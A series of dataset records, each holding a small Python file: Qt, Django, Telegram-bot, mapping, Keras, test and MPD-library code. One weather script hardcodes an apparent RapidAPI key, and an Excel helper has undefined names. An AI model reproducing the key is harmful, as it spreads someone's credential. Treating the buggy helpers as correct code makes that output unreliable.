self.progress.setWindowModality(Qt.WindowModal)\n self.progress.setMinimumDuration(200)\n self.progress.open(self._progress_canceled)\n\n def _progress_canceled(self):\n self.sig_progress_canceled.emit()\n\n def set_progress(self, step):\n self.progress.setValue(step)\n\n # manipulating view\n\n def set_first_column_spanned(self, scanrange):\n for i in scanrange:\n self._treeview.setFirstColumnSpanned(i, self._treeview.rootIndex(),\n True)\n\n def set_start_end_filenumbers_from_arguments(self, start, end):\n self.set_single_state(self._map['file_nb'], start)\n self.set_single_state(self._map['file_to'], end)\n\n def set_tree_model(self, model, standard=False):\n if standard:\n self._standard_treeview.setModel(model)\n else:\n self._sample_treeview.setModel(model)\n","sub_path":"DNSReduction/file_selector/file_selector_view.py","file_name":"file_selector_view.py","file_ext":"py","file_size_in_byte":10571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"216874227","text":"import requests\nimport json\n\n\nurl = \"https://community-open-weather-map.p.rapidapi.com/forecast\"\nheaders = {\n 'x-rapidapi-host': \"community-open-weather-map.p.rapidapi.com\",\n 'x-rapidapi-key': \"7ff2db9df5msh7c41674b7408448p10ab7bjsnf12b86c8aff1\"\n }\n\n\ndef req_api():\n my_cities = [\"Tbilisi\", \"Rustavi\", \"Batumi\"]\n data = []\n \n j= 1\n for i in my_cities:\n querystring = {\"q\":\"\",\"units\":\"metric\"}\n querystring[\"q\"] = i\n response = requests.request(\"GET\", url, headers=headers, params=querystring).text\n\n dict_responce = json.loads(response) \n \n for item in dict_responce[\"list\"]:\n \n append_data = (\n j,\n dict_responce[\"city\"][\"name\"],\n item[\"main\"][\"temp\"],\n item[\"dt_txt\"],\n item[\"weather\"][0][\"description\"]\n )\n data.append(append_data)\n j+=1\n \n return data\n\n\n","sub_path":"Database/wheather/amindi.py","file_name":"amindi.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"46623978","text":"# encoding: utf-8\nimport os\n\nfrom typing import Iterable\n\nfrom optimize_images.constants import SUPPORTED_FORMATS\n\n\ndef search_images(dirpath: str, recursive: bool) -> Iterable[str]:\n if recursive:\n for root, dirs, files in os.walk(dirpath):\n for f in files:\n if not os.path.isfile(os.path.join(root, f)):\n continue\n extension = os.path.splitext(f)[1][1:]\n if extension.lower() in SUPPORTED_FORMATS:\n yield os.path.join(root, f)\n else:\n with os.scandir(dirpath) as directory:\n for f in directory:\n if not os.path.isfile(os.path.normpath(f)):\n continue\n extension = os.path.splitext(f)[1][1:]\n if extension.lower() in SUPPORTED_FORMATS:\n yield os.path.normpath(f)\n","sub_path":"optimize_images/file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"145397345","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.db.models.deletion\nimport wagtail.wagtailcore.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('wagtailimages', '0006_add_verbose_names'),\n ('home', '0007_auto_20150703_1434'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='servicespage',\n name='section_1_image',\n field=models.ForeignKey(null=True, blank=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_1_sub_heading',\n field=models.CharField(max_length=500, default='We create digital experiences for brands and companies by using creativity and technology.'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_description_1',\n field=wagtail.wagtailcore.fields.RichTextField(default='What is Branding? It is the marketing practice of creating a name, symbol or design that identifies and differentiates a product from other products. If you plan to start up your own business, you need to Brand your company first.'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_description_2',\n field=wagtail.wagtailcore.fields.RichTextField(default='Even if your website is built with good tech, good functionality, You will have no pay attention if your web site has a bad user experience, user interface. We offer modern, simple, mobile ready, responsive design and a good user experience for your web site.'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_description_3',\n field=wagtail.wagtailcore.fields.RichTextField(default='It is all about the code, code code! We like coding. We build website with well-known, well-established, well-supported programming language and framework, so the website is very easily editable, customizable and expandable.'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_description_4',\n field=wagtail.wagtailcore.fields.RichTextField(default=\"OK. You've got the best, unique, competitive service or product. How do you let the world know that you exist? Posting your web address in facebook, twitter or instagram? Well. That is not enough. You need to expose yourself to the world in better way than that.\"),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_heading',\n field=models.CharField(max_length=500, default='Wide range of design and development services provided with a personal experience.'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_image',\n field=models.ForeignKey(null=True, blank=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_sub_heading_1',\n field=models.CharField(max_length=20, default='Branding'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_sub_heading_2',\n field=models.CharField(max_length=20, default='Web Design'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_sub_heading_3',\n field=models.CharField(max_length=20, default='Web Programming'),\n ),\n migrations.AddField(\n model_name='servicespage',\n name='section_2_sub_heading_4',\n field=models.CharField(max_length=20, default='Marketing'),\n ),\n ]\n","sub_path":"home/migrations/0008_auto_20150703_1531.py","file_name":"0008_auto_20150703_1531.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"483085221","text":"from moviepy.editor import VideoFileClip\nfrom moviepy.video.fx import crop\n\n\ndef cut_crop_video(vidpath='', save_format=['avi'],\n cut=False, starts=0., fins=-1.,\n crop_sel=False, crop_coord=[0, 100, 0, 100], ret=False):\n clip = VideoFileClip(vidpath)\n\n duration = clip.duration\n fps = clip.fps\n savename = vidpath.split('.')[0]\n\n if crop_sel:\n clip = clip.crop(x1=crop_coord[0], width=crop_coord[1], y2=crop_coord[2], height=crop_coord[3])\n\n if cut:\n clip = clip.subclip(starts, fins)\n\n if save_format:\n if 'avi' in save_format:\n clip.write_videofile(savename+'_edited'+'.avi', codec='png')\n elif 'mp4' in save_format:\n clip.write_videofile(savename+'_edited'+'.mp4', codec='mpeg4')\n elif 'gif' in save_format:\n clip.write_gif(savename+'_edited'+'.gif', fps=30)\n\n if ret:\n return clip\n\n\n########################################################################################################################\nif __name__ == \"__main__\":\n video_to_edit = 'C:\\\\Users\\\\Federico\\\\Downloads\\\\' \\\n '20180919_140652.mp4'\n\n cut_crop_video(video_to_edit, cut=True, starts=0, fins=15, crop_sel=False, crop_coord=[150, 300, 450, 300],\n save_format=['gif'])\n\n\n\n","sub_path":"Utils/Custom_funcs.py","file_name":"Custom_funcs.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"65976369","text":"from aiogram.types import (\n InlineKeyboardButton,\n InlineKeyboardMarkup,\n KeyboardButton,\n ReplyKeyboardMarkup,\n)\n\nfrom app import config\n\n\ndef classes():\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n buttons = [str(i) for i in range(1, 11 + 1)]\n markup.add(*buttons)\n return markup\n\n\ndef subjects(subjects):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*subjects)\n return markup\n\n\ndef authors(authors):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*authors)\n return markup\n\n\ndef specifications(specifications):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*specifications)\n return markup\n\n\ndef years(years):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*years)\n return markup\n\n\ndef main_topics(main_topics):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*main_topics)\n return markup\n\n\ndef sub_topics(sub_topics):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*sub_topics)\n return markup\n\n\ndef sub_sub_topics(sub_sub_topics):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*sub_sub_topics)\n return markup\n\n\ndef exercises(exercises):\n markup = ReplyKeyboardMarkup(row_width=4, resize_keyboard=True)\n markup.add(\"Главное меню\")\n markup.add(\"Назад\")\n markup.add(*exercises)\n return markup\n\n\ndef confirm_send_all():\n markup = InlineKeyboardMarkup()\n markup.add(InlineKeyboardButton(\"Да\", callback_data=config.CB_SEND_ALL_YES))\n markup.add(InlineKeyboardButton(\"Нет\", callback_data=config.CB_SEND_ALL_NO))\n return markup\n\n\ndef confirm_block():\n markup = InlineKeyboardMarkup()\n markup.add(InlineKeyboardButton(\"Да\", callback_data=config.CB_BLOCK_YES))\n markup.add(InlineKeyboardButton(\"Нет\", callback_data=config.CB_BLOCK_NO))\n return markup\n\n\ndef confirm_unblock():\n markup = InlineKeyboardMarkup()\n markup.add(InlineKeyboardButton(\"Да\", callback_data=config.CB_UNBLOCK_YES))\n markup.add(InlineKeyboardButton(\"Нет\", callback_data=config.CB_UNBLOCK_NO))\n return markup\n","sub_path":"app/utils/markups.py","file_name":"markups.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"600916367","text":"import folium\nimport pandas\n\ndata = pandas.read_csv(\"Vendors.csv\")\n#extracting columns out of data\nlat = list(data[\"LAT\"])\nlon = list(data[\"LON\"])\nNum = list(data[\"VendorNum\"])\nvname = list(data[\"VendorName\"])\nTYPE = list(data[\"TYPE\"])\n\ndef namegroup(TYPE):\n if TYPE == 'local':\n return 'green'\n elif TYPE == 'Mid':\n return 'orange'\n else:\n return 'red'\n\nmap = folium.Map(location=[50, -100], zoom_start = 4, tiles = \"Mapbox Bright\")\n\nfgv = folium.FeatureGroup(name = \"Vendors\")\n\n#use zip function when going through multiple items\n#radius is size of circles\n#for tags like before, use folium.Marker and get rid of fill_color, radius, opacity, fill\nfor lt, ln, num, vn, tp in zip(lat, lon, Num, vname, TYPE):\n fgv.add_child(folium.Marker(location=[lt,ln], radius = 6, popup= \"Vendor Name \" + str(vname) + \" ,\" + str(Num), color = namegroup(TYPE)))\n\n# fgp = folium.FeatureGroup(name = \"Population\")\n# #GeoJson is a format of Json\n# #style expects lambda functions\n# fgp.add_child(folium.GeoJson(data=open('world.json','r', encoding='utf-8-sig').read(),\n# style_function=lambda x: {'fillColor':'green' if x['properties']['POP2005'] < 10000000 else 'blue' if 10000000 <= x['properties']['POP2005'] < 20000000 else 'red'}))\n\nmap.add_child(fgv)\n# map.add_child(fgp)\nmap.add_child(folium.LayerControl())\nmap.save(\"Map1.html\")\n","sub_path":"map1.py","file_name":"map1.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"567832043","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('ozpcenter', '0029_auto_20170921_1342'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='RecommendationFeedback',\n fields=[\n ('id', models.AutoField(verbose_name='ID', auto_created=True, primary_key=True, serialize=False)),\n ('feedback', models.IntegerField(default=0)),\n ('target_listing', models.ForeignKey(to='ozpcenter.Listing', related_name='recommendation_feedback_listing')),\n ('target_profile', models.ForeignKey(to='ozpcenter.Profile', related_name='recommendation_feedback_profile')),\n ],\n options={\n 'verbose_name_plural': 'recommendation feedback',\n },\n ),\n ]\n","sub_path":"ozpcenter/migrations/0030_recommendationfeedback.py","file_name":"0030_recommendationfeedback.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"265917596","text":"import os, sys\nfrom glob import glob\n\nif __name__ == '__main__':\n\ttry:\n\t\ttaskid = os.environ['SGE_TASK_ID']\n\texcept:\n\t\traise IOError('Are you using SGE?')\n\n\tgroup = 'yng'\n\tdatapth = '/home/jagust/fmri-pstask/subjects/young'\n\n\tcode = os.path.join(datapth, 'afni_example_script_%s.py'%group)\n\n\tsubjects = sorted(glob(os.path.join(datapth, 'BAC*/run*')))\n\t\n\tsubj = subjects[int(taskid)-1]\n\tsubjpth, runnum = os.path.split(subj)\n\t_, subjnme = os.path.split(subjpth)\n\n\toutdir = os.path.join(subj, '%s_spatcorr_afni'%runnum)\n\tnewcode = os.path.join(outdir, 'afni_script_%s.py'%runnum)\n\twrite = open(newcode, 'w') \n\tread = open(code, 'r').read()\n\tread = read.replace('BAC000', subjnme)\n\tread = read.replace('run0', runnum)\n\twrite.write(read)\n\twrite.close()\n\texec(open(newcode).read())\n","sub_path":"modify_afni_command.py","file_name":"modify_afni_command.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"223019224","text":"#coding:utf-8\nimport xlrd\n\n\nclass OperationExcel(object):\n \n def __init__(self,file_name=None,sheet_id=None):\n if file_name:\n self.file_name=file_name\n self.sheet_id = sheet_id\n else:\n self.file_name='../dataconfig/case1.xls'\n self.sheet_id=0\n # self.data=self.get_data()\n\n # 获取sheet内容\n def get_data(self):\n self.data = xlrd.open_workbook(self.file_name)\n tables = self.data.sheets()[self.sheet_id]\n return tables\n \n # 获取单元格行数\n \n def get_lines(self):\n tables = self.data\n return tables.nrows\n\n \n # 获取某个单元格内容\n \n def get_cell_value(self,row,col):\n return self.data.cell_value(row,col)\n\n \n # 写入数据\n \n def write_value(self,roe,col,value):\n read_data= xlrd.open_workbook(self.file_name)\n write_data= copy(read_data)\n sheet_data= write_data.get_sheet(0)\n sheet_data.write(row,col,value)\n write_data.save(self.file_name)\n\n \n # 根据对应的caseid 找到对应行的内容\n \n def get_rows_data(self,case_id):\n row_num=self.get_row_num(case_id)\n rows_data=self.get_row_values(row_num)\n return rows_data\n\n \n # 根据对应的caseid 找到对应行的行号\n \n def get_row_num(self,case_id):\n num=0\n clols_data=self.get_cols_data()\n for col_data in clols_data:\n if case_id in col_data:\n return num \n num =num +1 \n\n \n # 根据行号,找到该行的内容\n \n def get_row_values(self,row):\n table=self.data\n row_data=table.row_values(row)\n return row_data\n \n # 获取某一列的内容\n \n def get_cols_data(self,col_id=None):\n print (self.data)\n if col_id !=None:\n cols=self.data.col_value(col_id)\n else:\n cols=self.data.col_value(0)\n return cols \n\n\n\n\n\n\n","sub_path":"vp/myutils/operation_excel.py","file_name":"operation_excel.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"38729317","text":"\"\"\"\r\nRun Command on All Entities in the reservation\r\nVersion 1.1\r\nRequired variables: command_name, command_inputs (csv), print_output, use_exact_name, run_synchronusly\r\n\"\"\"\r\nfrom qualipy.api.cloudshell_api import CloudShellAPISession\r\nfrom qualipy.api.cloudshell_api import InputNameValue\r\nimport json\r\nfrom os import environ as parameter\r\nimport thread\r\n\r\n\r\n# Get CloudShell information passed as env. variables\r\nconnectivity = json.loads(parameter[\"QUALICONNECTIVITYCONTEXT\"])\r\nreservationDetails = json.loads(parameter[\"RESERVATIONCONTEXT\"])\r\nresourceDetails = json.loads(parameter[\"RESOURCECONTEXT\"])\r\ncommand_name = parameter[\"command_name\"]\r\ncommand_inputs = parameter[\"command_inputs\"].split(',')\r\nprocessed_command_inputs = []\r\nif command_inputs == ['']: command_inputs = []\r\nfor index in range(0,len(command_inputs),2):\r\n processed_command_inputs.append(InputNameValue(command_inputs[index],command_inputs[index+1]))\r\ncommand_tag = parameter[\"command_tag\"]\r\nprint_output = parameter[\"print_output\"]==\"True\"\r\nuse_exact_name = parameter[\"use_exact_name\"] == \"True\"\r\nrun_synchronously = parameter[\"run_synchronously\"] == \"True\"\r\n\r\n# Create an API Session on TestShell Python API\r\napi = CloudShellAPISession(connectivity[\"serverAddress\"], connectivity[\"adminUser\"], connectivity[\"adminPass\"], reservationDetails[\"domain\"])\r\nreservation_details_from_api = api.GetReservationDetails(reservationDetails[\"id\"])\r\n\r\nfor resource in reservation_details_from_api.ReservationDescription.Resources:\r\n try:\r\n if not use_exact_name:\r\n resource_commands = api.GetResourceConnectedCommands(resource.Name)\r\n for command in resource_commands.Commands:\r\n if command.Name.find(command_name) != -1 and len(command.Parameters) == len(processed_command_inputs):\r\n if not run_synchronously:\r\n thread.start_new_thread(api.ExecuteResourceConnectedCommand,(reservationDetails[\"id\"], resource.Name, command.Name, command_tag, processed_command_inputs, [], print_output))\r\n break\r\n else:\r\n api.ExecuteResourceConnectedCommand(reservationDetails[\"id\"], resource.Name, command.Name, command_tag, processed_command_inputs, [], print_output)\r\n else:\r\n if not run_synchronously:\r\n thread.start_new_thread(api.ExecuteResourceConnectedCommand,(reservationDetails[\"id\"], resource.Name, command_name, command_tag, processed_command_inputs, [], print_output))\r\n continue\r\n else:\r\n api.ExecuteResourceConnectedCommand(reservationDetails[\"id\"], resource.Name, command_namee, command_tag, processed_command_inputs, [], print_output)\r\n except:\r\n continue","sub_path":"Flex Performance - CA/Resource Scripts/RunConnectedCommandOnAllEntities.py","file_name":"RunConnectedCommandOnAllEntities.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"303827398","text":"from keras.layers import Dense, LSTM, Dropout, Embedding, SpatialDropout1D, Bidirectional, concatenate, InputSpec\nimport tensorflow as tf\nimport sys\nfrom keras.engine.topology import Layer\nfrom keras import initializers as initializers, regularizers, constraints\nfrom keras import backend as K\nfrom sklearn.preprocessing import LabelEncoder\n\nclass Attention(Layer):\n\n def __init__(self, return_attention=False, **kwargs):\n self.init = initializers.get('uniform')\n self.supports_masking = True\n self.return_attention = return_attention\n super(Attention, self).__init__(**kwargs)\n\n def build(self, input_shape): # input_shape: (None, 5, 150)\n self.input_spec = [InputSpec(ndim=3), InputSpec(ndim=3)]\n #assert len(input_shape) == 3\n assert isinstance(input_shape, list)\n\n self.w = self.add_weight(shape=(input_shape[1][2], 1),\n name='{}_w'.format(self.name),\n initializer=self.init)\n self.trainable_weights = [self.w]\n super(Attention, self).build(input_shape)\n\n def call(self, x, mask=None):\n assert isinstance(x, list)\n\n s, h = x\n\n h_shape = K.shape(h) # h:(None, 5, 150) w:(150, 1)\n d_w, T = h_shape[0], h_shape[1]\n logits = K.dot(h, self.w) # w^T h (it is actually calculated by (h^T * w)^T) #(None, 5, 1)\n logits = K.reshape(logits, (d_w, T)) # transpose + convert to two dimensions: (1, 5)\n alpha = K.exp(logits - K.max(logits, axis=-1, keepdims=True)) # exp\n\n # masked timesteps have zero weight\n if mask is not None:\n mask = K.cast(mask, K.floatx())\n alpha = alpha * mask\n alpha = alpha / K.sum(alpha, axis=1, keepdims=True) # softmax # (1, 5)\n\n r = K.sum(s * K.expand_dims(alpha), axis = 1)\n h_star = K.tanh(r)\n\n #r = K.sum(h * K.expand_dims(alpha),\n # axis=1) # r = h*alpha^T # element product (None, 5, 150) * (1, 5, 1) # (None, 150)\n #h_star = K.tanh(r) # h^* = tanh(r) #(None, 150)\n\n # print(alpha)\n # sess = tf.compat.v1.keras.backend.get_session()\n # print(alpha.eval(session=sess))\n # print(\"---------------------------------------\")\n # sess = tf.compat.v1.keras.backend.get_session()\n # array_x = sess.run(tensor)\n # print(array_x)\n # print(\"----------------------------------------\")\n\n\n\n if self.return_attention:\n return [h_star, alpha]\n return h_star\n\n def compute_output_shape(self, input_shape):\n assert isinstance(input_shape, list)\n output_len = input_shape[1][2]\n if self.return_attention:\n return [(input_shape[1][0], output_len), (input_shape[1][0], input_shape[1][1])]\n return (input_shape[1][0], output_len)\n\n def compute_mask(self, input, input_mask=None):\n if isinstance(input_mask, list):\n return [None] * len(input_mask)\n else:\n return None","sub_path":"Attention.py","file_name":"Attention.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"192372573","text":"import unittest\nfrom test.mock import patch\nimport lizard\nfrom lizard import lizard_main\nimport os\n\n@patch('lizard.open', create=True)\n@patch.object(os, 'walk')\n@patch.object(lizard, 'print_result')\nclass TestApplication(unittest.TestCase):\n \n def exhaust_result(self, result, options): \n list(result)\n \n def check_empty_result(self, result, options): \n self.assertEqual([], list(result))\n \n def testGetCurrentFolderByDefault(self, print_result, os_walk, mock_open):\n print_result.side_effect = self.exhaust_result\n lizard_main(['lizard'])\n os_walk.assert_called_once_with('.', topdown=False)\n\n def testEmptyResult(self, print_result, os_walk, mock_open):\n os_walk.return_value = [('.', [], [])]\n print_result.side_effect = self.check_empty_result\n lizard_main(['lizard'])\n\n def testFilesWithFunction(self, print_result, os_walk, mock_open):\n def check_result(result, options):\n fileInfos = list(result) \n self.assertEqual(1, len(fileInfos))\n self.assertEqual('foo', fileInfos[0].function_list[0].name)\n os_walk.return_value = [('.', [], ['a.cpp'])]\n mock_open.return_value.__enter__.return_value.read.return_value = \"void foo(){}\"\n print_result.side_effect = check_result\n lizard_main(['lizard'])\n\n def testMutipleFilesInArgv(self, print_result, os_walk, mock_open):\n def check_result(result, options):\n fileInfos = list(result) \n self.assertEqual(1, len(fileInfos))\n self.assertEqual('foo', fileInfos[0].function_list[0].name)\n os_walk.return_value = [('.', [], ['a.cpp'])]\n mock_open.return_value.__enter__.return_value.read.return_value = \"void foo(){}\"\n print_result.side_effect = check_result\n lizard_main(['lizard'])\n\n\nclass TestOptions(unittest.TestCase):\n\n def setUp(self):\n self.source_code = '''\n void foo() {\n #if\n #endif\n }\n '''\n \n @patch('lizard.open', create=True)\n @patch.object(os, 'walk')\n @patch.object(lizard, 'print_result')\n def runApplicationWithArgv(self, argv, print_result, os_walk, mock_open):\n def store_result(result, options):\n self.fileInfos = list(result) \n os_walk.return_value = [('.', [], ['a.cpp'])]\n mock_open.return_value.__enter__.return_value.read.return_value = self.source_code\n print_result.side_effect = store_result\n lizard_main(argv)\n \n def test_with_preprocessor_counted_in_CCN(self):\n self.runApplicationWithArgv(['lizard'])\n self.assertEqual(2, self.fileInfos[0].function_list[0].cyclomatic_complexity)\n\n def test_not_with_preprocessor_counted_in_CCN(self):\n self.runApplicationWithArgv(['lizard', '-P'])\n self.assertEqual(1, self.fileInfos[0].function_list[0].cyclomatic_complexity)\n\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()\n","sub_path":"test/testApplication.py","file_name":"testApplication.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"230254763","text":"# encoding:utf-8\n\"\"\"\n智联招聘job的正则的提取方式\n\"\"\"\n\nimport re\nmystr = '大数据分析工程师'\n\n\nrestr = \">\\\\W+<\"\n# 不带有括号的话,会匹配上所有的数据\nrestr1 = \">(\\\\W+)<\"\n# 带有括号只会匹配上括号中的数据\n\n# 为什么要进行预编译:加快运行速度\nregex = re.compile(restr,re.IGNORECASE)\n\n# 注意这里的写法:使用的是regex编译后的结果的findall方法\nmylist = regex.findall(mystr)\nprint(mylist)\n# 运行结果:['\\xe5\\xa4\\xa7\\xe6\\x95\\xb0\\xe6\\x8d\\xae\\xe5\\x88\\x86\\xe6\\x9e\\x90\\xe5\\xb7\\xa5\\xe7\\xa8\\x8b\\xe5\\xb8\\x88']\nprint(mylist[0])\n# 运行结果:大数据分析工程师","sub_path":"re_test/re_test_1.py","file_name":"re_test_1.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"498550965","text":"# -*- coding: utf-8 -*-\n#-------------------------------------------------------------------------------\n# Copyright 2010 B. Kroon .\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#-------------------------------------------------------------------------------\nclass Library:\n '''Supplies a storage model for the mpd database.'''\n def __init__(self, mainlist):\n self._songList = []\n self._artists = {}\n self._albums = {}\n self._genres = {}\n self._filesystem = {}\n # parse the list and prepare it for loading in the library browser and the file system view.\n for song in (x for x in mainlist if 'file' in x):\n self._songList.append(song)\n album = songAlbum(song, 'None')\n artist = songArtist(song, 'Unknown')\n genre = song.get('genre', None)\n appendToList(self._artists, artist, song)\n appendToList(self._albums, album, song)\n if genre:\n appendToList(self._genres, genre, song)\n\n # Build the file system tree.\n fslist = self._filesystem\n path = song['file'].split('/')\n while path:\n part = path.pop(0)\n if path == []:\n fslist[part] = song\n else:\n fslist[part] = fslist.get(part, {})\n fslist = fslist[part]\n\n def artists(self):\n '''Returns a list containing all artists in the library.'''\n return self._artists.keys()\n\n def albums(self):\n '''Returns a list containing all albums in the library.'''\n return self._albums.keys()\n\n def songs(self):\n '''Returns a list containing all songs in the library.'''\n return self._songList[:]\n\n def genres(self):\n '''Returns a list containing all genres in the library.'''\n return self._genres.keys()\n\n def artistGenres(self, artist):\n '''Returns a list containing all genres listed in songs by the given artist.'''\n genres = set()\n for song in self.artistSongs(artist):\n genres.update(songGenre(song))\n return list(genres)\n\n def albumGenres(self, album):\n '''Returns a list containing all genres listed in songs on the given album.'''\n genres = set()\n for song in self.albumSongs(album):\n genres.update(songGenre(song))\n return list(genres)\n\n def genreArtists(self, genre):\n '''Returns a list containing all artists in the given genre.'''\n artists = set()\n for song in self.genreSongs(genre):\n artists.add(songArtist(song))\n return list(artists)\n\n def genreAlbums(self, genre):\n '''Returns a list containing all albums in the given genre.'''\n albums = set()\n for song in self.genreSongs(genre):\n albums.add(songAlbum(song))\n return list(albums)\n\n def genreSongs(self, genre):\n '''Returns a list containing all songs in the given genre.'''\n return self._genres.get(genre.lower(), [])\n\n def artistSongs(self, artist):\n '''Returns a list containing all songs from the supplied artist.'''\n return self._artists.get(artist, [])\n\n def artistAlbums(self, artist):\n '''Returns a list containing all albums the artist is listed on.'''\n albumlist = set()\n for song in self.artistSongs(artist):\n album = songAlbum(song, '')\n albumlist.add(album)\n return list(albumlist)\n\n def albumSongs(self, album, artists=[]):\n '''Returns a list containing all songs on the supplied album title.\n The optional artist argument can be used to only get the songs of a particular artist or list of artists.'''\n if type(artists) in (str, unicode):\n artists = [artists]\n songlist = self._albums.get(album, [])\n if artists != []:\n songlist = [song for song in songlist if songArtist(song, '') in artists]\n return songlist\n\n def albumArtists(self, album):\n '''Returns a list containing all artists listed on the album.'''\n songlist = self.albumSongs(album)\n artistlist = set()\n for song in songlist:\n artistlist.add(songArtist(song))\n return list(artistlist)\n\n def ls(self, path, fslist=None):\n '''Returns a list of songs and directories contained in the given path.'''\n if path.startswith('/'):\n path = path[1:]\n if fslist is None:\n fslist = self._filesystem\n part, sep, path = path.partition('/')\n if part == '':\n if type(fslist.get('file', None)) in (str, unicode):\n return fslist\n else:\n return fslist.keys()\n fslist = fslist.get(part, {})\n return self.ls(path, fslist)\n\n def attributes(self, path):\n '''Returns whether path is a directory or a song file.'''\n if path.startswith('/'):\n path = path[1:]\n fslist = self._filesystem\n for part in path.split('/'):\n if part:\n fslist = fslist[part]\n if fslist.get('file', None) == path:\n return 'file'\n else:\n return 'directory'\n\n\ndef songTitle(song):\n value = _getSongAttr(song, ('title', 'name', 'file'))\n return _getTextField(value)\n\ndef songArtist(song, alt=''):\n value = _getSongAttr(song, ('artist', 'performer', 'composer'))\n if not value:\n value = alt\n return _getTextField(value)\n\ndef songAlbum(song, alt=''):\n value = song.get('album', alt)\n return _getTextField(value)\n\ndef songTrack(song, alt=''):\n value = song.get('track', alt)\n return _getTextField(value)\n\ndef songGenre(song):\n value = song.get('genre', [])\n if type(value) in (str, unicode):\n value = [value.lower()]\n else:\n value = [x.lower() for x in value]\n return value\n\ndef songStation(song):\n if isStream(song):\n value = _getSongAttr(song, ('name', 'file'))\n return _getTextField(value)\n else:\n return ''\n\ndef songTime(song):\n stime = int(song.get('time', '0'))\n thour = stime / 3600\n stime -= thour * 3600\n tmin = stime / 60\n tsec = stime - tmin * 60\n if thour > 0:\n return '%i:%02i:%02i' % (thour, tmin, tsec)\n return '%i:%02i' % (tmin, tsec)\n\ndef isStream(song):\n return song.get('file', '').startswith('http://')\n\ndef _getSongAttr(song, attrs):\n '''Returns the value for the first key in attrs that exists.'''\n if isStream(song):\n # mpd puts stream metadata in the title attribute as \"{artist} - {song}\"\n value = song.get('title', '')\n if ' - ' in value:\n artist, title = value.split(' - ', 1)\n if 'artist' in attrs:\n return artist\n if 'title' in attrs:\n return title\n for attr in attrs:\n if attr in song:\n return song[attr].strip()\n\ndef _getTextField(value):\n if getattr(value, 